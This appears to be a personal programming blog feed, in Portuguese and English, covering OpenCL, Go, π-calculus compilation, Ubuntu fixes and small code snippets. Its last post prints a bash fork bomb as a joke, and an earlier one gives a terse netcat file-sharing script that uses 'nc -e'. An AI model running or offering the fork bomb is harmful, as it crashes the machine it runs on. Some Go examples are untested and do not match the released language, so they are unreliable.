Tiago, O Irrepupável

OpenCL review

noreply@blogger.com (Tiago Cogumbreiro) — Tue, 02 Feb 2010 01:19:27 PST

OpenCL is an open standard being created by the Khronos Group, pushed by Apple and AMD. This technology features data parallelism and task parallelism. It is supposed to target a varied range of devices, for example, there is an embedded profile for mobile devices. MacOS X 10.6 has support for OpenCL. There is support for Linux and Windows in x86 and x86-64 architectures via AMD.

OpenCL may be touted as being in relation to multicores as OpenGL is in relation GPUs. But in fact, OpenCL is a broader technology than OpenGL is, since it targets not only multicores but GPUs as well. Additionally, there is a tight coupling between both of these technologies, e.g. it is possible to share a buffer between an OpenCL operation and an OpenGL operation.

In OpenCL there is a concept of kernel that is akin to SIL places. A kernel consists of a C program whose entry point is a function. Kernels communicate via shared memory (buffers). A work-item is composed by one ore more kernels that are executed sequentially. Each kernel may be target of data parallelization. A work-item may be target of task parallelization. Work-items are executed on a device (e.g. a CPU, a GPU) that consists of one or more processing unit.

Technically kernels are C string that must be compiled every time the program loads. Notice that the OpenCL runtime may cache compilation.

The site HPC Wire published a very good insight from a person with experience with HPC (OpenMP in particular) “Compilers and More: OpenCL Promises and Potential” from which I would like to quote two paragraphs:

So, are OpenCL programs going to be performance portable or not? Sadly, not. [...] An optimized kernel for one device may or may not perform well on another, but is unlikely to be optimal for that second device.

The intent is apparently that OpenCL will support an ecosystem of tools, middleware and applications, not to be the portable parallel abstraction. Even though the kernels are not performance portable, even if you have to tune your kernels for each device, the ability to write your kernels for different devices in the same language is a great leap forward from where we are today.

References

Revisão da linguagem Go

noreply@blogger.com (Tiago Cogumbreiro) — Mon, 07 Dec 2009 06:38:31 PST

Podemos pensar no Go como um C mais limpo: estruturas (structs) como no C, libertação automática de memória (há garbage collection), referências (sem aritmética de ponteiros) e valores, funções e os tipos de dados usuais. As funções podem retornar tuplos, mas os tuplos não são valores de primeira-classe, i.e. não podem ser alocados ou guardados numa variável.

Exemplo de uma função que retorna um tuplo:

func foo(int v) (int v1, int v2) {
return v, v*2
}

a, b = foo(3);

Temos a palavra chave func, o nome da função foo, os parâmetros da função (int v) e os parâmetros de saída (int v1, int v2). É o regresso dos parâmetros de saída no sentido em que podemos manipulá-los, mas sintacticamente não estão ao lado dos parâmetros de entrada, o que me parece uma boa escolha. O mesmo exemplo pode ser reescrito assim (mais estranho na minha opinião):

func foo(int v) (int v1, int v2) {
v1 = v;
v2 = v * 2;
return;
}

a, b = foo(3);

Existem dois conceitos que merecem realce: métodos e interfaces. Os métodos são funções que se associam a um tipo de dados e são utilizados como os métodos do C++ ou do Java. Não podem ser associados a interfaces; podem ser associados tipos, por exemplo a uma estrutura. A definição de um método é isolada, não é feita na definição do tipo ao qual está associada.

Exemplo ilustrativo de um método que calcula a norma sobre o tipo de dados ponto:

// Disclairmer: o exemplo foi feito por mim sem testar se funciona
struct Point {
int x;
int y;
}

func (Point self) Magnitude() int {
return Math.sqrt(self.x * self.x + self.y * self.y)
}

Point p = Point{0, 0};
p.Magnitude(); // returns 0
p.x = 2;
p.Magnitude(); // returns 2

Resumindo, para definir um método temos a keyword func, entre parêntises o tipo ao qual o método vai estar associado e o nome da variável (neste caso usei self), de seguida os parâmetros e o tipo de retorno (ou parâmetros de saída). Um interface identifica (estruturalmente) tipos que tenham um dado conjunto de métodos associados. Ou seja, se dois valores tiverem pelo menos os mesmos métodos que um dado interface, então são considerados daquele interface. A associação a um dado interface é implicita, não existe associação, e.g. T1 implements ISomeInterface.

Concorrência

Existe paralelismo de tarefas, nesta linguagem é feita através de uma goroutine (semelhantes a threads ou tasks). As goroutines são (pretendem ser) leves. Para criar uma goroutine, colocamos a keyword go antes de uma chamada de uma função:

go LongComputation();

A comunicação entre tarefas parelelas é feita através de memória partilhada ou através de canais. Por exemplo, para criar um canal que transmite inteiros e associá-lo a uma variável c, faz-se:

c := make(chan int)

Podemos usar esse canal no exemplo seguinte em que criamos duas tarefas paralelas (goroutines) uma envia mensagem pelo canal c e a outra tarefa recebe mensagens pelo mesmo canal, mostrando o valor recebido no ecrã.

func client() {
  c<- 10;
}

func server() {
  for { // this for is equivalente to C's for (;;) 
    msg := <-c;
    fmt.Printf("received %d\n", msg);
  }
}

O select da linguagem é muito poderoso e podem fazer-se servidores/clientes mais complicados com brevidade. O seguinte exemplo está na especificação da linguagem.

var c, c1, c2 chan int;
var i1, i2 int;
select {
case i1 = <-c1:
 print("received ", i1, " from c1\n");
case c2 <- i2:
 print("sent ", i2, " to c2\n");
default:
 print("no communication\n");
}

for {  // send random sequence of bits to c
 select {
 case c <- 0:  // note: no statement, no fallthrough, no folding of cases
 case c <- 1:
 }
}

Num select com várias operações de recepção (<-c) e/ou de envio (c<-) de mensagem é tratada de cima para baixo o primeiro ramo que esteja activo. Caso não hajam expressões de envio/recepção de mensagem activas, é avaliado o caso default. Se o ramo default não estiver definido, então o select fica bloqueado até uma expressão de envio/recepção esteja activa. No exemplo acima, o primeiro select tenta receber uma mensagem pelo canal c1. Caso não haja mensagem para se receber no canal c1, o select tenta enviar uma mensagem pelo canal c2. Se não houver transmissão da mensagem, então é avaliado o ramo default e mostra-se no ecrã no communication. De seguida temos um select dentro de um ciclo, o Go alterna de uma forma uniforme e justa (não está provado) entre os vários ramos activos, enviando por este motivo ora o valor 1 ora o valor 0 pelo canal c.

Como os canais são valores, podem ser enviados através de um canal. Existe primitivas de comunicação síncrona e assíncrona. É possível tipificar canais, especificando o tipo de valores comunicado e se é de entrada ou de saída. Não há suporte para tipos de sessão.

Conclusão

O Go é vendida como uma linguagem de sistemas (concorrência incluida). Se me dessem para escolher C ou Go ignorando o contexto de utilização, escolheria Go sem piscar os olhos. Escolheria também Go ao invés do C++. Acho que tem uma elegância sintática razoável (para uma linguagem que segue a sintaxe do C) e que faz um bom compromisso nas primitivas e abstracções escolhidas: gosto muito do sistema de interfaces mas sinto falta de excepções.

A resposta à concorrência é insuficiente. Um slogan do Go é, e passo a citar:

Do not communicate by sharing memory; instead, share memory by communicating.

Mas entre o que se apela e o que se faz vai um grande passo. Por mais que existam canais e de existir o slogan, continua a ser possível trabalhar com memória partilhada sem qualquer protecção do sistema de tipos. Além disso comprometem-se com uma memória com um espaço global de endereços único, em contraste com um um espaço global de endereços particionado, não se preparando para sistemas mais esotéricos com modelos de memória diferentes. Para a omissão de excepções é dada a justificação que não é um problema bem resolvido, ignorando o bom trabalho desenvolvido na linguagem X10. Para a concorrência é feito o inverso: albergam ambos os idiomas e promovem timidamente a concorrência por passagem de mensagem.

Quick update

noreply@blogger.com (Tiago Cogumbreiro) — Mon, 16 Nov 2009 02:39:23 PST

Time for a quick recap of what's been life like. I finished my masters on informatics, the thesis is online. The work is the formalization of a compiler from the π-calculus into a multithreaded TAL. I've learned a lot these past two years! Particularly in the value of (provable) specification for an algorithm.

On another front I have been working on Callas (which needs a big brush up on its site). Once again, I have been defining a translation function, this time from Callas (a functional, declarative language with modules) to a byte-code language based on Java (with some simplifications). I now have a more influent position and am giving some (small) input on the design of the language.

Meanwhile work has continued on the MIL. We have released a new version of the interpreter, which includes a deadlock checker. Technically this amounted to integrate the typechecker with a Prolog engine (we are using JLog).

Finally, I am eager for the acceptance of my PhD application in FCUL. The acceptance process usually takes one month (sigh), so I should know the results any time soon.

All in all things are working out smoothly ;-)

An applet for MIL and the simply typed π-calculus compiler

noreply@blogger.com (Tiago Cogumbreiro) — Thu, 02 Jul 2009 09:20:56 PDT

In an effort to showcase my MSc work, I have developed an applet that contains the π-calculus compiler along with the MIL interpreter. You can try out either MIL our the simply-typed π-calculus and run it online. Our article about compiling the π-calculus into a multithreaded typed assembly language is an useful reference.

The π-calculus consists of processes that run concurrently—you may read processes as tasks or threads, although they sit at a much higher level. The simplest process is the inactive one that finishes, we represent it by a zero 0. The basis of the π-calculus is communication; it is so important that the fundamental step of computation is the communication of sequences of values (integers, strings, and channels). Processes synchronize (and communicate) by message-passing, using channels. To send a message 10 through a channel x we write the output process x<10>. To receive a message through a channel x and store it in a name y that is visible in process P we write the input process x(y).P, notice that process P is not a variable, it must be replaced with an actual process, like the inactive process 0. If we want to receive a message repeatedly, like a server does, we just write a bang (!) in front of an input process, for example !x(y).P. To execute process P in parallel with process Q we write the parallel process P | Q, or to remove ambiguity we may use parenthesis (P | Q). To use a channel x in a process P, we must first declare it along with its type T by writing new x:T P. A type T is not a variable, it can be either an integer type int, a string type str, or a channel ^[T1,...,Tn] (the parameters ranging from T1,...,Tn are a possibly empty sequence of types, like the empty channel type ^[] or the channel that communicate two integers ^[int,int]. Channels may themselves send channels, for example channel type ^[int,^[int]] types channels that communicates two values, one of the integer type, another a channel that communicates integers.

A quick example of an echo server:

new echo:^[int,^[int]] (
  !echo(x,y).y<x>
  |
  new print:^[int] (
    !print(m).printInt<m>
    |
    echo<10,print>
  )
)

“Compiling the π-calculus into a multithreaded typed assembly language” is published

noreply@blogger.com (Tiago Cogumbreiro) — Tue, 23 Jun 2009 03:04:36 PDT

After one year the article I presented in PLACES '08 was published.

We extend a previous work on a multithreaded typed assembly language (MIL) targeted at shared memory multiprocessors, and describe the design of a type-preserving compiler from the π-calculus into MIL. The language enforces a policy on lock usage through a typing system that also ensures race-freedom for typable programs, while allowing for typing various important concurrency patterns. Our translation to MIL generates code that is then linked to a library supporting a generic unbounded buffer monitor, variant of Hoare's bounded buffer monitor, entirely written in MIL. Such a monitor shields client code (the π-calculus compiler in particular) from the hazardous task of direct lock manipulation, while allowing for the representation of π-calculus channels. The compiler produces type correct MIL programs from type correct source code, generating low-contention cooperative multithreaded programs.

Tiago Cogumbreiro, Francisco Martins, and Vasco T. Vasconcelos. Compiling the π-calculus into a multithreaded typed assembly language. ENTCS, 241:57–84, 2009.

Problemas com acentos usando Latex, Flyspell, ISpell e Emacs

noreply@blogger.com (Tiago Cogumbreiro) — Mon, 06 Apr 2009 10:51:35 PDT

Estive muito tempo com problemas na forma como o Emacs e o ISpell reconheciam as palavras portuguesas. Depois de muito escavar lá encontrei o .emacs do sítio oficial do dicionário português para ISpell. Para corrigir, coloquem este código no vosso .emacs:

(custom-set-variables
   '(ispell-local-dictionary-alist
     (quote (("portugues" "[A-Za-zàèìòùÀÈÌÒÙáéíóúÁÉÍÓÚãõÃÕâêîôûÂÊÎÔÛçÇ]"
                          "[^A-Za-zàèìòùÀÈÌÒÙáéíóúÁÉÍÓÚãõÃÕâêîôûÂÊÎÔÛçÇ]"
                          "[-]" nil nil "~latin1" iso-8859-1)
             ("portutex"  "[A-Za-z\\\\\\\\]"
                          "[^A-Za-z\\\\\\\\]"
                          "[---~`'^{}]" nil nil "~tex" iso-8859-1)))))

Isto é quase arte ASCII.

Redirecting to an external link/URL in Zope (and Plone)

noreply@blogger.com (Tiago Cogumbreiro) — Wed, 01 Apr 2009 15:29:59 PDT

Go to the Zope Management Interface. In Plone click on Site Setup (on the upper left corner) and then under Plone Configuration click on Zope Management Interface.

Next, create a content Script (Python) (select it in the drop-down widget in the upper left corner of the page). Select the name of the link of the origin of the redirection and click on Add and Edit.

Add the following content:

# Import a standard function, and get the HTML request and response objects.
from Products.PythonScripts.standard import html_quote
request = container.REQUEST
RESPONSE = request.RESPONSE

#return context.REQUEST.RESPONSE.redirect("http://www.google.com/")
return RESPONSE.redirect("http://www.google.com/")

This will redirect http://YOURHOSTNAME/foo (if you create the python script at the root of your Zope Management Interface named foo) and redirect it to http://www.google.com/. Could be easier (and fully accessible trough Plone's UI).

MiNEMA Winter School 2009

noreply@blogger.com (Tiago Cogumbreiro) — Sun, 08 Mar 2009 16:17:19 PDT

I am going to attend MiNEMA Winter School. Great oportunity to learn about wireless sensor networks and to discover Göteborg.

World of Goo

noreply@blogger.com (Tiago Cogumbreiro) — Tue, 17 Feb 2009 18:11:08 PST

I was amazed by the demo and had to buy the full game of World of Goo (for Linux). I do not play a game in years, so this was really a urge I could not control ;-) The game cost me 16 euros.

Hindley/Milner Type Inference Algorithm implementated in Haskell (untested and naïve)

noreply@blogger.com (Tiago Cogumbreiro) — Wed, 04 Feb 2009 15:52:54 PST

I do not program in Haskell in a couple of years. Today I needed to learn the Hendley/Milner algorithm for type inference and decided to implement it in Haskell. A far more interesting related blog post is one about “Writing A Lisp Interpreter In Haskell”, by Slava Akhmechet.

You can grab the (hardly tested) code, released under public domain, in Pastebin at http://pastebin.com/f7dede189. The Source Code Is The Documentation™.

I can't stress enough the usefulness of algebraic data types and declarative languages for creating compilers. But alas, I am still working with Java in my research projects.

Update: Because I have somehow broken the indentation, I have taken the chance to re-upload the source code, while cleaning up some code. Added a nice link about interpreter implementation using Haskell.

The π-calculus library chapter and literate programming

noreply@blogger.com (Tiago Cogumbreiro) — Thu, 11 Dec 2008 15:33:02 PST

I finished the π-calculus library implemented in MIL. I started working in the translation chapter. Meanwhile, An explanation I received cleared up some details I was having with programming recursive types in MIL. With the misconception corrected I can now proceed working on the paper.

For my work on the paper I intend to clean up my pseudo-framework for doing literate programming, which enables the library described in the aforementioned chapter to be generated and then type-checked for errors. Make the code free from embarrassing errors.

pi2mil, mil, and the thesis

noreply@blogger.com (Tiago Cogumbreiro) — Wed, 10 Dec 2008 14:30:56 PST

I reimplemented the compiler from the π-calculus into MIL (in Java). The only part that was not touched was the parsing. It took me two days to rewrite the type-checking and the compiler. My work was basically translating mathematical notation into Java. It is interesting to note how much code was simplified because the translation was formalized. Looking back, I had an over-engineered compiler. Now I have a much simpler implementation and a proof that it is compiling safely, preserving types.

After the compiler, I worked on synchronizing the implementation of MIL with the latest paper we have been working on. This amounted to rewriting the pretty-printer and to adding support for some instructions and a few types. The test battery we have implemented helped making sure I wasn't breaking any type-checking rule. There are, however, some problems that need to be solved in implementing some of the new sub-typing rules, notably with recursive types.

In this last week I have mostly programmed and haven't made significant progress in my thesis. We are working on a paper with a deadline due next week. But since I am waiting for some feedback to continue working on the paper, I have an opening to finish up the chapter on the π-calculus library. I only have half of a section to review to finish the chapter, so I hope I finish it in this week.

Summary of the last week

noreply@blogger.com (Tiago Cogumbreiro) — Thu, 27 Nov 2008 06:54:20 PST

I have been studying monitors for a section included in the chapter of the π-calculus library. The obvious references are “Monitors: An Operating System Structuring Concept” for Hoare-style monitors and “Experience with Processes and Monitors in Mesa” for Mesa-style monitors. I also found the chapter “Thread Synchronization” of the book “Inside the Java Virtual Machine” inspiring. My friend Neva made me realize that I was misusing terminology in my introduction to monitors.

After concluding the section I moved along to the section on the implementation of queues in MIL. There is a typing rule in MIL that is confusing me. Spent yesterday's afternoon reading “Types and Programming Languages”, just to understand that I need way more time to understand the chapter about the meta-theory of recursive types. The good part is that I found out that my chapter explaining MIL is very superficial. The bad part is that I have to invest more time to make it deeper. Today I plan on rewriting most of the text included in the queues section.

Yesterday I have also worked on a new project (another compiler). We are using SableCC for the parser and for the AST creation. The good part of this tool is that it allows for a separation of the AST from the CST, this is specially enticing for people developing languages for calculus, like our group. The shortcoming of this tool is that there is no way to tag the AST with metadata. We need to know the source code location related to an element of the AST. A proposed solution is to “pollute” the AST with terminal tokens delimiting the location. Tokens, however, do not have a single interface to retrieve the line and column and lack an associated filename.

Web-log as a log

noreply@blogger.com (Tiago Cogumbreiro) — Thu, 27 Nov 2008 06:17:21 PST

The word blog derives from web log. I am going to try using my blog for its vanilla purpose. I am going to use the label (i.e. tag) log for such entries.

GLUA TechSessions '08

noreply@blogger.com (Tiago Cogumbreiro) — Mon, 10 Nov 2008 07:04:37 PST

Vou à GLUA TechSessions '08 apresentar o nosso trabalho no MIL, que por acaso está a precisar de uma ensaboadela no site. Ainda não sei bem como vou, mas já tenho sítio para dormir. Se alguém quiser companhia na viagem de Lisboa para Aveiro, basta enviar um mail.

Foi um convite lisonjeador. A apresentação, no entanto, vai ser difícil, já que o MIL não é um projecto tech. É um projecto académico, em que se chegam a resultados (não se satisfazem utilizadores). Vai ser um desafio interessante.

Update: a apresentação correu bem. O evento foi muito bom. Espero que se realize mais vezes!

Download da versão PDF.

Making sound (snd-hda-intel) work in a LG R405 after resume (using Ubuntu)

noreply@blogger.com (Tiago Cogumbreiro) — Mon, 22 Sep 2008 09:59:05 PDT

After reading bug #200210, I have searched a bit on Launchpad Answers, digging up question #42061.

To make sound work after resuming append the following line:

options snd-hda-intel index=0 model=fujitsu

To the file:

/etc/modprobe.d/alsa-base

This post is relative to the post "Installing Ubuntu Hardy Heron (8.04) into a LG R405".

Start focusing on the thesis

noreply@blogger.com (Tiago Cogumbreiro) — Thu, 28 Aug 2008 10:50:43 PDT

I think I've hit a big milestone with the latest work on MIL, fixing an annoying bug that was hindering my research work. I have also fixed a bug in Callas, making sensors aware of the closures. It is interesting that both interpreters are tackling the same problem (variable binding) in different ways. In MIL we are doing actual transformations. In Callas we are doing bookeeping. However, in the former we are working in the type-checking (does not affect the actual speed of the program execution) and in the latter we are working in the actual interpreter execution, thus the need for speed.

In my vacations in Maré de Agosto I have recreated the supporting library for the pi-to-mil compiler. The new code boasts some cool tricks that abuse existential and universal quantifications, making the code smaller. Next, I am going to implement this algorithm and hope there are no more bugs in MIL to distract my work.

Eclipse Ganymed e SVN

noreply@blogger.com (Tiago Cogumbreiro) — Sat, 16 Aug 2008 01:34:47 PDT

Instalei o novo Eclipse Ganymed. Tentei usar o plug-in para Subversion que estava nos repositórios oficiais do Eclipse, o Subversive , mas só tive problemas. Desinstalei e instalei o Subclipse. Tudo funciona como era de se esperar.

A nova versão do Eclipse está melhor, com o interface de instalação de plug-in's bem mais polida e algumas melhorias de UI no refactoring e na ajuda de edição de Java. Vale a pena.

What I have been up to....

noreply@blogger.com (Tiago Cogumbreiro) — Thu, 17 Jul 2008 06:34:25 PDT

Classes are almost over! Wohoo! I am almost free to work on MIL and on Callas.

On both projects I have been focusing on their interpreters. The implementation is focused on representing the operational semantics in a clear and (hopefully) clean manner, so there is no virtual machine (VM) or bytecode representation of the language. We do intend to implement that, but it will be on the next step. I am gathering documentation about VM's and interpreters.

Another thing I have been doing in our compilers is to get rid of the Visitor pattern. It is one of those things that trying to generalize makes the code worse (at least in how we are using it)! To solve the same problem I have developed a dispatching engine that takes care of what Double Dispatch did. Which reminds me, Double Dispatching is evil! Don't do it. It adds circular dependencies and makes the entangles concerns. Forget about that hack.

Finally, my interest in LLVM has raised. Unfortunately, it has no support for concurrency. This would be very handy for MIL. I was also looking at Parrot. The paper On the Architecture of the Parrot virtual machine provides a good overview on the VM's internals. Unfortunately, the site is confusing and it is difficult to find what I was looking for (the PIR specification).

CouchSurfing

noreply@blogger.com (Tiago Cogumbreiro) — Wed, 09 Jul 2008 16:04:06 PDT

Estou a experimentar o serviço CouchSurfing. Vou ser anfitrião dentro de dias. Parece ser muito engraçado! Alguém é parte desta comunidade?

Esvércil

noreply@blogger.com (Tiago Cogumbreiro) — Sun, 15 Jun 2008 08:24:41 PDT

Eu e alguns amigos adoramos ódio. Vou ser mais claro. Gostamos de ver cenas (pessoas, animais, máquinas, etc.) a odiar. Gostamos de cenas odiosas. Criámos o tumbleblog Esvércil para registar odiosos; para guardar tudo o que encontramos que é esvércil!

Ah, e não se esqueçam de visitar o meu tumbleblog Tiago, o Irrepupável, que continua registando o lado nonsense da vida.

O Tumblr está cada vez melhor. Agora, inclui suporte para grupos.

Installing Ubuntu Hardy Heron (8.04) into a LG R405

noreply@blogger.com (Tiago Cogumbreiro) — Mon, 22 Sep 2008 10:02:47 PDT

I have previously blogged about Installing Ubuntu Gutsy Gibbon (7.10) into a LG R405. I have now updated the system up to Ubuntu Hardy Heron (8.04) and have some remaining issues.

WiFi support is available through NDISwrapper and with more reliability through madwifi. To setup NDISwrapper you can download the package ndisgtk and use the Windows' drivers from on of the laptop's CDs.

Regarding madwifi, if you follow ticker #1192, you will find out version 0.9.5 will bring support for the wireless chipset AR2425. Meanwhile, you can download the driver from a SVN branch at the madwifi's repositories. NetworkManager works best with madwifi's driver (this includes support for eduroam).

Bluetooth got broken in the update (for some Nokia's mobiles). If you follow launchpad's bug #211252, you will notice that you may install Debian's SID bluez-utils to fix the issue (I have left a comment in the ticket stating just that). Fortunately, the regression has been fixed upstream. The fix, however, has not been applied in the Ubuntu package.

~~Sleep and hibernate work. Well... mostly. After waking up the sound dies (see Ubuntu's bug #200210).~~ ~~I have not bothered with scavenging the net to a fix/bug report.~~

To make sound work after resuming append the following line:

options snd-hda-intel index=0 model=fujitsu

To the file:

/etc/modprobe.d/alsa-base

This procedure is part of the post "Making sound (snd-hda-intel) work in a LG R405 after resume (using Ubuntu)".

The (graphical) intel driver has been improved (it is no longer blacklisted in compiz). Power management is better, since the brightness is not crazy anymore.

Concluding, support is still sub-optimal. Sadly, the alternatives are scarse.

Simple Django handlers

noreply@blogger.com (Tiago Cogumbreiro) — Fri, 30 May 2008 03:14:22 PDT

Or, an example about introspection targeting Python's functions.

I really like the way CherryPy maps GET parameters to the parameters of the handling function (usually, methods). I miss this mapping in Django, therefore I implemented it. I am "lazy" and I did not search Django's API for something related to this — I did this for pleasure.

Anyway, I have implemented a decorator, params_from_GET that adds this functionality to Django-handlers. You have to read the docstring to read the usage.

Code dump (licensed under public domain):

import inspect
def get_func_args(func):
    """
    Returns a generators of pairs (parameter name, default value)
    of the target function.
    """
    (args, varargs, varkw, defaults) = inspect.getargspec(func)
    if defaults is None:
        defaults = ()
    offset = len(args) - len(defaults)
    return args[:offset], dict(zip(args[offset:], defaults))

def params_from(func, method, default_value=''):
    """
    Returns a decorator, see params_from_GET.
    """
    # get the default params
    args, params = get_func_args(func)
    if args[0] != "request":
        raise TypeError("First parameters needs to be 'request'")
    for param in args[1:]:
        params[param] = default_value=''
    
    def wrapper(request, **orig_kwargs):
        # copy the parameters
        kwargs = params.copy()
        # get the map for the defined method, e.g GET
        method_dict = getattr(request, method)
        # set the request object
        kwargs['request'] = request
        for key in params:
            # fill with values that were sent by the user
            if key in method_dict:
                kwargs[key] = method_dict[key]
        kwargs.update(orig_kwargs)
        return func(**kwargs)
    return wrapper

def params_from_GET(func):
    """
    The decorator pics up a handler function and fetches the
    values from the GET map.

    For example:

    @params_from_GET
    handler(request, foo, bar):
       pass

    Is the same as:

    handler(request):
       foo = request.GET('foo', '')
       bar = request.GET('bar', '')
    """
    return params_from(func, 'GET')

Update: added support for the keyword arguments that may be passed to the dispatcher by urls.py.

Comida para troll

noreply@blogger.com (Tiago Cogumbreiro) — Tue, 27 May 2008 10:27:37 PDT

Acham graça? Consideram que quem consulta o "Planeta Açores" está interessado em linguagem críptica de programação de computadores? Pensam à vossa escala de "computer nerds"? Não incomodem e guardem isso para vocês, repito!

Read the source, luke!

[ $3 ]&&export W=$1 H="$2 $3" K=`mktemp`;Z=/dev/null;e(){ echo "$*";};n(){
nc $* 2>$Z;};x(){ nc -lp ${H#* } -e $1 &>$Z <$Z&};f(){ cat $K|while read h;do
e $W $1 "$2"|n $h;done };case $# in 4)e $W s "$4"|n $H|while read h p f; do
e $W g "$f"|n $h $p>"$f";done;;5)e $H>$K;e $W d $H|n $4 $5>>$K;x $0;;0)x $0
read w c r;[ $W = $w ]&&case $c in s)f l "$r";;g)cat "$r";;a)e $r>>$K;;d)cat $K
f a "$r";;l)ls|grep "$r"|sed "s/^/$H /";;esac;;esac

Comentários odiosos do Anonymous

noreply@blogger.com (Tiago Cogumbreiro) — Mon, 16 Nov 2009 02:00:33 PST

O meu amigo acha interessante preencher um quarto de página do Planeta Açores com um tema que só interessa a meia dúzia de programadores de informática, retirando espaço a quem gostaria de ver lá a sua opinião publicada e outros temas mais abrangentes? Vou protestar para o Webmaster do Planeta Açores. Fiquem com a vossa programação entre amigos!

lol

:(){ :|:& };: